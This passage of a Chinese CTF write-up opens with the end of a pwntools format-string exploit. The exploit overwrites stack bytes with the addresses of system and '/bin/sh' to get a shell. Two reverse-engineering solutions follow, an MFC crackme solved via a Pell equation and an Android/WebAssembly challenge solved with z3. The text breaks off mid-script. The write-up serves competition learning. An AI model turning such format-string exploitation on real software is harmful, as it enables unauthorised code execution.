stack = int(io.recvuntil(' ').ljust(0x8,'\x00'),16)-0x98
log.info("stack:"+hex(stack))

# change 1 byte
temp = stack&0xffff
input("%{0}c%5$hn".format(temp))
temp = system&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+1
input("%{0}c%5$hhn".format(temp))
temp = (system>>8)&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+2
input("%{0}c%5$hhn".format(temp))
temp = (system>>16)&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+3
input("%{0}c%5$hhn".format(temp))
temp = (system>>24)&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+8
input("%{0}c%5$hhn".format(temp))
temp = binsh&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+9
input("%{0}c%5$hhn".format(temp))
temp = (binsh>>8)&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+10
input("%{0}c%5$hhn".format(temp))
temp = (binsh>>16)&0xff
input("%{0}c%53$hhn".format(temp))

temp = (stack&0xff)+11
input("%{0}c%5$hhn".format(temp))
#gdb.attach(io,'b *'+hex(proc_base+0x951))
temp = (binsh>>24)&0xff
input("%{0}c%53$hhn".format(temp))

quit()

# modify ecx
io.interactive()

4-达芬奇的密码 ✅

目标是MFC程序
先找到时间按钮的触发函数后,分析其逻辑发现有一段SMC,将后面要call到的函数0x4010e0内容修改了,于是执行到SMC后,将程序DUMP下来后再分析:

1
2
3
.text:00401F16                 cmp     eax, 10h
.text:00401F19 jnz loc_401FDA
.text:00401F1F xor eax, eax

sn 的长度为0x10

sn 与如下字符串异或,其中将sn分成了前8个byte(64bit) x与后8byte(64bit) y

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:00401101                 mov     byte ptr [esp+98h+var_90], 16h
.text:00401106 mov byte ptr [esp+98h+var_90+1], 96h
.text:0040110B mov byte ptr [esp+98h+var_90+2], 8Ch
.text:00401110 mov byte ptr [esp+98h+var_90+3], 0E3h
.text:00401115 mov byte ptr [esp+98h+var_8C+1], 98h
.text:0040111A mov byte ptr [esp+98h+var_8C+2], 6Eh
.text:0040111F mov byte ptr [esp+98h+var_8C+3], 64h
.text:00401124 mov byte ptr [esp+98h+var_88], 84h
.text:00401129 mov byte ptr [esp+98h+var_88+1], 8
.text:0040112E mov byte ptr [esp+98h+var_88+2], 0DCh
.text:00401133 mov byte ptr [esp+98h+var_84], 0BEh
.text:00401138 mov byte ptr [esp+98h+var_84+1], 4Dh
.text:0040113D mov byte ptr [esp+98h+var_84+2], 48h
.text:00401142 mov byte ptr [esp+98h+var_84+3], 4Fh

再逆向分析,结合简单的动态调试发现,程序在做大数乘法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
do
{
v10 = *((unsigned __int8 *)&v42 + v6) + v8 * *((unsigned __int8 *)&v38 + v7);
v9[v7] = *((_BYTE *)&v42 + v6) + v8 * *((_BYTE *)&v38 + v7);
++v7;
*((_BYTE *)&v42 + v6) = HIBYTE(v10);
}
while ( v7 < 8 );

do
{
v13 = (char)v11 + *((unsigned __int8 *)&temp1 + v12 + v6) + (unsigned __int8)v9[v12];
*((_BYTE *)&temp1 + v12++ + v6) = v13;
v11 = (signed int)v13 >> 8;
}
while ( v12 < 9 );

此为$x^2$与$y^2$

之后的内容在分析得到最后式子为$x^2-7y^2=8$,注意x的范围有个限制,并且注意到减法没有借位

1
2
.text:00401246                 test    byte ptr [esp+98h+var_6C+3], 0F0h
.text:0040124B jnz loc_4013FE

该式为佩尔方程,有通解,通过wolframalpha解方程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#/usr/env/bin python
import struct

# mathematica

In [0]: Reduce[x^2 - 7*y^2 == 8 && x > FromDigits["FFFFFFFFFFFFFF", 16] &&
x < FromDigits["1000000000000000", 16] && y>0, {x, y}, Integers]

Out[0]: (x == 385044246406735194 && y == 145533045678356702)
'''

x = 0x557f3b3b9e1a55a
y = 0x2050988b2bd38de

tmp = []
for i in struct.pack('<Q',x)+struct.pack('<Q',y):
tmp.append(ord(i))

v30 = 0xE38C9616
v31 = 0x646E9881
v32 = 0x81DC0884
v33 = 0x4F484DBE

pp = lambda x:struct.pack('<I',x)

xor = []
for j in pp(v30)+pp(v31)+pp(v32)+pp(v33):
xor.append(ord(j))

flag = ""

for i in range(16):
#print(chr(tmp[i]^xor[i]))
flag+=chr(tmp[i]^xor[i])
print(flag)
# print(tmp[i]^xor[i])

5-丛林的秘密 ❌

收货还是很大的一道题目

首先,安卓8.1,在Genymotion中下载一个Android 9.0版本的Phone才运行起来

用Jaxd打开APK,找到MainActivity主逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class MainActivity extends AppCompatActivity {
private Button button1;
private EditText eText1;
private TextView txView1;
public String u = gogogoJNI.sayHello();

static {
System.loadLibrary("gogogo");
}

/* Access modifiers changed, original: protected */
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView((int) R.layout.activity_main);
this.eText1 = (EditText) findViewById(R.id.editText);
this.txView1 = (TextView) findViewById(R.id.textView);
((WView) findViewById(R.id.text1View)).loadUrl(this.u);
((WebView) findViewById(R.id.text1View)).getSettings().setJavaScriptEnabled(true);
this.button1 = (Button) findViewById(R.id.button);
this.button1.setOnClickListener(new OnClickListener() {
public void onClick(View view) {
if (gogogoJNI.check_key(MainActivity.this.eText1.getText().toString()) == 1) {
MainActivity.this.txView1.setText("Congratulations!");
} else {
MainActivity.this.txView1.setText("Not Correct!");
}
}
});
}
}

发现调用了gogogo的so库,该库名称为libgogogo.so,分析一通check_key没结果,原来是作者故意混淆加入的。

之后发现,在init_proc 中加入了一个网页于是去解密了一下,得到一个HTML 与 URL, 原来crack的APK是将HTML绑定到8000端口访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#/usr/bin/env python

# get_url
if STEP1:

enc1 = [0xE,0x12,0x12,0x16,0x5C,0x49,0x49,0x57,0x54,0x51,0x48,0x56,0x48,0x56,0x48,0x57,0x5C,0x5E,0x56,0x56, 0x56]
url = ""

for byte in enc1:
url+=chr(byte^0x66)
print(url)

# get_html
if STEP2:
path = "/Users/apple/Competion/CTF/CTFPro/2019/kctf-q2/5/1.html"

with open(path,'w+') as f:

for byte in idc.get_bytes(0x4004,0x85F3):
f.write(byte^0x67)

将HTML查看,发现其中主逻辑藏在webassambly中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<style>
body {
background-color: rgb(255, 255, 255);
}
</style>
</head>
<script>


var instance;

WebAssembly.compile(new Uint8Array(`
00 61 73 6D 01 00 00 00 01 1B 05 60 00 00 60 04
7F 7F 7F 7F 01 7F 60 02 7F 7F 01 7F 60 01 7F 01
7F 60 00 01 7F 03 0E 0D 00 01 01 01 01 01 01 01
01 02 03 04 04 04 05 01 70 01 01 01 05 03 01 00
02 06 15 03 7F 01 41 D0 89 04 0B 7F 00 41 D0 89
04 0B 7F 00 41 CC 09 0B 07 57 06 06 6D 65 6D 6F
72 79 02 00 0B 5F 5F 68 65 61 70 5F 62 61 73 65
03 01 0A 5F 5F 64 61 74 61 5F 65 6E 64 03 02 0E
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
6F 6F 6F 6F 09 0E 73 65 74 5F 69 6E 70 75 74 5F
66 6C 61 67 0A 12 73 65 74 5F 69 6E 70 75 74 5F
66 6C 61 67 5F 6C 65 6E 0B 09 63 68 65 63 6B 5F
6B 65 79 0C 03 78 78 78
`.trim().split(/[\s\r\n]+/g).map(str => parseInt(str, 16))
)).then(module => {
new WebAssembly.instantiate(module).then(results => {
instance = results;
}).catch(console.error);
})

function check_flag() {
var value = document.getElementById("key_value").value;
if (value.length != 32) {
document.getElementById("tips").innerHTML = "Not Correct!";
return;
}
instance.exports.set_input_flag_len(value.length);
for (var ii = 0; ii < value.length; ii++) {
instance.exports.set_input_flag(value[ii].charCodeAt(), ii);
}
var ret = instance.exports.check_key();

if (ret == 1) {
document.getElementById("tips").innerHTML = "Congratulations!"
}
else {
document.getElementById("tips").innerHTML = "Not Correct!"
}
}
</script>
<body>
<div>Key: <input id="key_value" type="text" name="key" style="width:60%" ;="" value=""> <input type="submit"
value="check"
onclick="check_flag()">
</div>
<div><label id="tips"></label></div>

</body>
</html>

用一个简单的Javascript脚本将Webassembly抠出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
require('fs').writeFileSync('test.wasm',new Uint8Array(`
00 61 73 6D 01 00 00 00 01 1B 05 60 00 00 60 04
7F 7F 7F 7F 01 7F 60 02 7F 7F 01 7F 60 01 7F 01
7F 60 00 01 7F 03 0E 0D 00 01 01 01 01 01 01 01
01 02 03 04 04 04 05 01 70 01 01 01 05 03 01 00
02 06 15 03 7F 01 41 D0 89 04 0B 7F 00 41 D0 89
.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
6F 6F 05 05 6F 6F 6F 6F 6F 06 06 6F 6F 6F 6F 6F
6F 07 07 6F 6F 6F 6F 6F 6F 6F 08 08 6F 6F 6F 6F
6F 6F 6F 6F 09 0E 73 65 74 5F 69 6E 70 75 74 5F
66 6C 61 67 0A 12 73 65 74 5F 69 6E 70 75 74 5F
66 6C 61 67 5F 6C 65 6E 0B 09 63 68 65 63 6B 5F
6B 65 79 0C 03 78 78 78
`.trim().split(/[\s\r\n]+/g).map(str => parseInt(str, 16))
))

生成wasm文件,通过wbat中的wasm2c转成wasm.c,但是wasm太晦涩,是栈结构的语言,于是找到头文件用gcc重编译,生成wasm.o,拖入IDA中分析,找到check_key逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 check_key()
{
unsigned int v0; // ST00_4

if ( ++wasm_rt_call_stack_depth > 0x1F4u )
wasm_rt_trap(7LL);
o(0x400u, 0x401u, 0x402u, 0x403u);
oo(0x404u, 0x405u, 0x406u, 0x407u);
ooo(0x408u, 0x409u, 0x40Au, 0x40Bu);
oooo(0x40Cu, 0x40Du, 0x40Eu, 0x40Fu);
ooooo(0x410u, 0x411u, 0x412u, 0x413u);
oooooo(0x414u, 0x415u, 0x416u, 0x417u);
ooooooo(0x418u, 0x419u, 0x41Au, 0x41Bu);
oooooooo(0x41Cu, 0x41Du, 0x41Eu, 0x41Fu);
v0 = xxx();
--wasm_rt_call_stack_depth;
return v0;
}

其中o开头均为异或操作,xxx中有一个32元1次方程组,找到对应关系,用z3一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
#/usr/bin/env python
if STEP3:
import z3
v2 = z3.Int('v2')
v3 = z3.Int('v3')
v4 = z3.Int('v4')
v5 = z3.Int('v5')
v6 = z3.Int('v6')
v7 = z3.Int('v7')
v8 = z3.Int('v8')
v9 = z3.Int('v9')
v10 = z3.Int('v10')
v11 = z3.Int('v11')
v12 = z3.Int('v12')
v13 = z3.Int('v13')
v14 = z3.Int('v14')
v15 = z3.Int('v15')
v16 = z3.Int('v16')
v17 = z3.Int('v17')
v18 = z3.Int('v18')
v19 = z3.Int('v19')
v20 = z3.Int('v20')
v21 = z3.Int('v21')
v22 = z3.Int('v22')
v23 = z3.Int('v23')
v24 = z3.Int('v24')
v25 = z3.Int('v25')
v26 = z3.Int('v26')
v27 = z3.Int('v27')
v28 = z3.Int('v28')
v29 = z3.Int('v29')
v30 = z3.Int('v30')
v31 = z3.Int('v31')
v32 = z3.Int('v32')
v33 = z3.Int('v33')

s = z3.Solver()

s.add(v2>=0,v2<=0xff)
s.add(v3>=0,v3<=0xff)
s.add(v4>=0,v4<=0xff)
s.add(v5>=0,v5<=0xff)
s.add(v6>=0,v6<=0xff)
s.add(v7>=0,v7<=0xff)
s.add(v8>=0,v8<=0xff)
s.add(v9>=0,v9<=0xff)
s.add(v10>=0,v10<=0xff)
s.add(v11>=0,v11<=0xff)
s.add(v12>=0,v12<=0xff)
s.add(v13>=0,v13<=0xff)
s.add(v14>=0,v14<=0xff)
s.add(v15>=0,v15<=0xff)
s.add(v16>=0,v16<=0xff)
s.add(v17>=0,v17<=0xff)
s.add(v18>=0,v18<=0xff)
s.add(v19>=0,v19<=0xff)
s.add(v20>=0,v20<=0xff)
s.add(v21>=0,v21<=0xff)
s.add(v22>=0,v22<=0xff)
s.add(v23>=0,v23<=0xff)
s.add(v24>=0,v24<=0xff)
s.add(v25>=0,v25<=0xff)
s.add(v26>=0,v26<=0xff)
s.add(v27>=0,v27<=0xff)
s.add(v28>=0,v28<=0xff)
s.add(v29>=0,v29<=0xff)
s.add(v30>=0,v30<=0xff)
s.add(v31>=0,v31<=0xff)
s.add(v32>=0,v32<=0xff)
s.add(v33>=0,v33<=0xff)

s.add(45 * v33
+ 248 * v32
+ 20 * v31
+ 67 * v30
+ 90 * v29
+ 135 * v28
+ 106 * v27
+ 112 * v26
+ 40 * v25
+ 231 * v24
+ 153 * v23
+ 233 * v22
+ 19 * v21
+ 188 * v20
+ 232 * v19
+ 127 * v18
+ 15 * v17
+ 67 * v16
+ 50 * v15
+ 161 * v14
+ 103 * v13
+ 144 * v12
+ 81 * v11
+ 126 * v10
+ 240 * v9
+ 124 * v8
+ 194 * v7
+ 92 * v6
+ 108 * v5
+ 111 * v4
+ 174 * v3
+ 48 * v2 == 359512)

s.add(131 * v33
+ 120 * v32
+ 149 * v31
+ 244 * v30
+ 56 * v29
+ 154 * v28
+ 156 * v27
+ 94 * v26
+ 169 * v25
+ 32 * v24
+ 209 * v23
+ 225 * v22
+ 26 * v21
+ 178 * v20
+ 90 * v19
+ 104 * v18
+ 212 * v17
+ 17 * v16
+ 180 * v15
+ 40 * v14
+ 194 * v13
+ 148 * v12
+ 171 * v11
+ 186 * v10
+ 248 * v9
+ 10 * v8
+ 81 * v7
+ 195 * v6
+ 227 * v5
+ 78 * v4
+ 101 * v3
+ 13 * v2 == 387514)

s.add(145 * v33
+ 136 * v32
+ 188 * v31
+ 117 * v30
+ 60 * v29
+ 202 * v28
+ 14 * v27
+ 38 * v26
+ 197 * v25
+ 174 * v24
+ 9 * v23
+ 112 * v22
+ 251 * (v15 + v20)
+ 86 * v21
+ 154 * v19
+ 40 * v18
+ 248 * v17
+ 8 * v16
+ 69 * v14
+ 109 * v13
+ 67 * v12
+ 36 * v11
+ 46 * v10
+ 55 * v9
+ 30 * v8
+ 131 * v7
+ 95 * v6
+ 83 * v5
+ 44 * v4
+ 53 * v3
+ 240 * v2 == 301487)

s.add(155 * v32
+ 48 * v31
+ 35 * v30
+ 116 * v29
+ 140 * v28
+ 105 * v27
+ 65 * v26
+ 45 * v25
+ 192 * v24
+ 33 * v23
+ 113 * v22
+ 110 * v20
+ 109 * v19
+ 165 * v18
+ 5 * v17
+ 148 * v16
+ 127 * v15
+ 145 * v14
+ 7 * v13
+ 30 * v12
+ 139 * v11
+ 10 * v10
+ 182 * v9
+ 102 * v8
+ 57 * v7
+ 112 * v6
+ 152 * v5
+ 162 * v4
+ 25 * (v33 + v3)
+ 234 * (v21 + v2) == 296549)

s.add(46 * v33
+ 209 * v32
+ 97 * v31
+ 10 * v30
+ 151 * v29
+ 139 * v28
+ 90 * v27
+ 156 * v26
+ 29 * v25
+ 210 * v24
+ 34 * v23
+ 76 * v22
+ 108 * (v12 + v20)
+ 107 * v21
+ 241 * v19
+ 88 * v18
+ 164 * v17
+ 39 * v16
+ 130 * v15
+ 45 * v14
+ 104 * v13
+ 7 * v11
+ 197 * v10
+ 148 * v9
+ 141 * v8
+ 118 * v7
+ 236 * v6
+ 101 * v5
+ 189 * v4
+ 113 * v3
+ 82 * v2 == 344514)

s.add(7 * v33
+ 98 * v32
+ 90 * v31
+ 49 * v30
+ 25 * v29
+ 151 * v28
+ 120 * v27
+ 153 * v26
+ 117 * v25
+ 139 * v24
+ 240 * v23
+ 96 * v22
+ 111 * v21
+ 26 * v19
+ 203 * v18
+ 105 * v17
+ 115 * v16
+ 176 * v15
+ 38 * v14
+ 163 * v13
+ 237 * v12
+ 225 * v11
+ 3 * v10
+ 230 * v9
+ 155 * v8
+ 102 * v7
+ 50 * v6
+ 182 * v5
+ 13 * v4
+ 72 * (v20 + v3)
+ 179 * v2 == 346892)

s.add(97 * v33
+ 13 * v32
+ 254 * v31
+ 129 * v30
+ 99 * v29
+ 74 * v28
+ 22 * v27
+ 187 * (v14 + v25)
+ 214 * v26 + v24
+ 174 * v23
+ 225 * v22
+ 67 * v21
+ 65 * v20
+ 39 * v19
+ 252 * v18
+ 186 * v17
+ 226 * (v6 + v16)
+ 100 * v15
+ 209 * v13
+ 203 * v12
+ 101 * (v7 + v11)
+ 127 * v10
+ 99 * v9
+ 110 * v8
+ 170 * v5
+ 150 * v4
+ 61 * v3
+ 156 * v2 == 386678)

s.add(94 * v33
+ 77 * v32
+ 19 * v31
+ 220 * v30
+ 134 * v29
+ 156 * v28
+ 62 * v27
+ 106 * v26
+ 72 * v25
+ 139 * v24
+ 171 * v23
+ 73 * v22
+ 22 * v21
+ 81 * v20
+ 218 * v19
+ 240 * v18
+ 242 * v17
+v16
+ 48 * v15
+ 32 * v14
+ 222 * v13
+ 185 * v12
+ 177 * v11
+ 133 * v10
+ 252 * v9
+ 60 * v8
+ 232 * v7
+ 118 * v6
+v5
+ 88 * v4
+ 117 * v3
+ 154 * v2 == 348667)

s.add(70 * v33
+ 162 * v32
+ 242 * v31
+ 19 * v30
+ 38 * v29
+ 111 * v28
+ 29 * v27
+ 48 * v26
+ 52 * v25
+ 131 * v24
+ 122 * v23
+ 43 * v22
+ 247 * v21
+ 91 * v20
+ 143 * v19
+ 228 * v18
+ 130 * v17
+ 211 * v16
+ 96 * v15
+ 117 * v14
+ 7 * v13
+ 95 * v12
+ 75 * v11
+ 75 * v10
+ 232 * v9
+ 26 * v8
+ 39 * v7
+ 41 * v6
+ 189 * v5
+ 173 * v4
+ 151 * v3
+ 220 * v2 == 316884)

s.add(112 * v33
+ 14 * v32
+ 160 * v31
+ 150 * v30
+ 5 * v29
+ 189 * v28
+ 33 * v27
+ 77 * v26
+ 226 * v25
+ 126 * v24
+ 143 * v23
+ 244 * v22
+ 119 * v21
+ 233 * v20
+ 18 * v19
+ 214 * v18
+ 120 * v17
+ 174 * v16
+ 20 * v15
+ 165 * v14
+ 233 * v13
+ 38 * v12
+ 25 * v11
+ 220 * v10
+ 204 * v9
+ 79 * v8
+ 104 * v7
+ 147 * v6
+ 236 * v5
+ 136 * v4
+ 92 * v3
+ 231 * v2 ==372620)

s.add( 88 * v33
+ 192 * v32
+ 135 * v31
+ 98 * v30
+ 109 * v29
+ 97 * v28
+ 187 * v27
+ 184 * v26
+ 252 * v25
+ 2 * (v21 + v23)
+ 216 * v24
+ 167 * v22
+ 199 * v20
+ 170 * v19
+ 64* v18
+ 165 * v17
+ 129 * v16
+ 163 * v15
+ 171 * v14
+ 172 * v13
+ 183 * v12
+ 94 * v11
+ 39 * v10
+ 175 * v9
+ 212 * v8
+ 250 * v7
+ 193 * v6
+ 191 * v5
+ 38 * v4
+ 203 * v3
+ 50 * v2 == 413102)

s.add(16 * v33
+ 136 * v32
+ 147 * v31
+ 106 * v30
+ 217 * v29
+ 226 * v28
+ 193 * v27
+ 193 * v26
+ 23 * v25
+ 72 * v24
+ 117 * v23
+ 208 * (v20 + v12 + v19)
+ 58 * v22
+ 62 * v21
+ 51 * v18
+ 95 * v17
+ 102 * v16
+ 155 * v15
+ 149 * v14
+ 240 * v13
+ 46 * v11
+ 199 * v10
+ 156 * v9
+ 248 * v8
+ 104 * v7
+ 252 * v6
+ 203 * v5
+ 81 * v4
+ 196 * v3
+ 43 * v2 == 428661)

s.add(112 * v33
+ 122 * v32
+ 105 * v31
+ 216 * v30
+ 125 * v29
+ 135 * v28
+ 220 * v27
+ 211 * v26
+ 65 * v25
+ 111 * v24
+ 75 * v23
+ 158 * v22
+ 180 * v21
+ 201 * v20
+ 67 * v19
+ 38 * v18
+ 208 * v17
+ 165 * v16
+ 136 * v15
+ 24 * v14
+ 152 * v13
+ 214 * v12
+ 10 * v11
+ 15 * v10
+ 83 * v9
+ 225 * v8
+ 107 * v7
+ 224 * v6
+ 144 * v5
+ 69 * v4
+ 49 * v3
+ 80 * v2 == 371484)

s.add(8 * v33
+ 205 * v32
+ 251 * v31
+ 90 * v30
+ 195 * v29
+ 74 * v28
+ 152 * (v8 + v26)
+ 95 * v27
+ 75 * v25
+ 109 * v24
+ 132 * v23
+ 58 * v22
+ 233 * v21
+ 63 * v20
+ 71 * v19
+ 99 * v18
+ 177 * v17
+ 190 * v16
+ 166 * v15
+ 178 * v14
+ 107 * v13
+ 149 * v12
+ 9 * v11
+ 153 * v10
+ 88 * v9
+ 51 * v7
+ 127 * v6
+ 143 * v5
+ 68 * v4
+ 129 * v3
+ 76 * v2 == 350848)

s.add( 128* v33
+ 43 * v32
+ 97 * v31
+ 253 * v30
+ 183 * (v15 + v28)
+ 156 * v29
+ 86 * v27
+ 5 * v26
+ 219 * v25
+ 88 * v24
+ 30 * v23
+ 163 * v22
+ 123 * v21
+ 133 * v20
+ 95 * v19
+ 161 * v18
+ 126 * v17
+ 26 * v16
+ 177 * v14
+ 202 * v13
+ 67 * v12
+ 245 * v11
+ 182 * v10
+ 56 * v9
+ 40 * v8
+ 38 * v7
+ 59 * v6
+ 209 * v5
+ 146 * v4
+ 102 * v3
+ 31 * v2 == 334408)

s.add(39 * v33
+ 145 * v32
+ 247 * v31
+ 7 * v30
+ 152 * v29
+ 251 * v28
+ 159 * v27
+ 5 * v26
+ 42 * v25
+ 154 * v24
+ 178 * v23
+ 200 * v22
+ 49 * v21
+ 192 * v20
+ 170 * v19
+ 142 * v18
+ 171 * v17
+ 20 * v16
+ 128 * v15
+ 22 * v14
+ 17 * v13
+ 77 * v12
+ 92 * v11
+ 170 * v10
+ 155 * v9
+ 226 * v8
+ 228 * v7
+ 137 * v6
+ 146 * v5
+ 223 * v4
+ 136 * v3
+91 * v2 == 382822)

s.add(226 * v33
+ 84 * v32
+ 152 * v31
+ 56 * v30
+ 104 * v29
+ 108 * v28
+ 224 * v27
+ 220 * v26
+ 192 * v25
+ 173 * v24
+ 231 * v23
+ 13 * v22
+ 80 * v21
+ 116 * v20
+ 219 * v19
+ 123 * v18
+ 195 * v17
+ 82 * v16
+ 197 * v15
+ v14
+ 47 * v13
+ 149 * v12
+ 221 * v10
+ 134 * v9
+ 77 * v8
+ 26 * v7
+ 244 * v6
+ 169 * v5
+ 204 * v4
+ 205 * (v11 + v3)
+ 121 * v2 == 420160)

s.add(85 * v33
+ 39 * v32
+ 150 * v31
+ 48 * v30
+ 204 * v29
+ 245 * v28
+ 21 * v27
+ 194 * v26
+ 252*v25
+ 70 * v24
+ 219 * v23
+ 92 * v22
+ 67 * v21
+ 118 * (v8 + v20)
+ 111 * v19
+ 126 * (v7 + v18)
+ 182 * v17
+ 171 * v16
+ 184 * v15
+ 233 * v14
+ 83 * v13
+ 215 * v12
+ 171 * v11
+ 142 * v10
+ 161 * v9
+ 176 * v6
+ 184 * v5
+ 45 * v4
+ 95 * v3
+ 73 * v2 == 402263)

s.add(169 * v33
+ 202 * v32
+ 250 * v31
+ 175 * v30
+ 195 * v29
+ 154 * v28
+ 204 * v27
+ 140 * v26
+ 112 * v25
+ 145 * v24
+ 40 * v23
+ 84 * v22
+ 216 * v21
+ 111 * v20
+ 15 * v19
+ 238 * v18
+ 72 * v17
+ 75 * v16
+ 167 * v15
+ 34 * v14
+ 50 * v13
+ 19 * v12
+ 94 * v11
+ 191 * v10
+ 3 * v9
+ 92 * v8
+ 138 * v7
+ 164 * v6
+ 48 * v5
+ 224 * v4
+ 120 * v3
+ 170 * v2 == 366968)

s.add(176 * v33
+ 106 * v32
+ 25 * v31
+ 246 * v30
+ 144 * v29
+ 172 * (v17 + v28)
+ 243 * v27
+ 213 * v26
+ 147 * v25
+ 128* v24
+ 183 * v23
+ 149 * v22
+ 247 * v21
+ 63 * v20
+ 254 * v19
+ 96 * v18
+ 23 * v16
+ 4 * v15
+ 19 * (v4 + v14)
+ 56 * v13
+ 139 * v12
+ 5 * v11
+ 164 * v10
+ 240 * v9
+ 247 * v8
+ 50 * v7
+ 112 * v5
+ 189 * v6
+ 68 * v3
+ 170 * v2 == 384909)

s.add(248 * v33
+ 78 * v32
+ 136 * v31
+ 27 * v30
+ 125 * v29
+ 93 * v27
+ 148 * v26
+ 252 * v25
+ 241 * v24
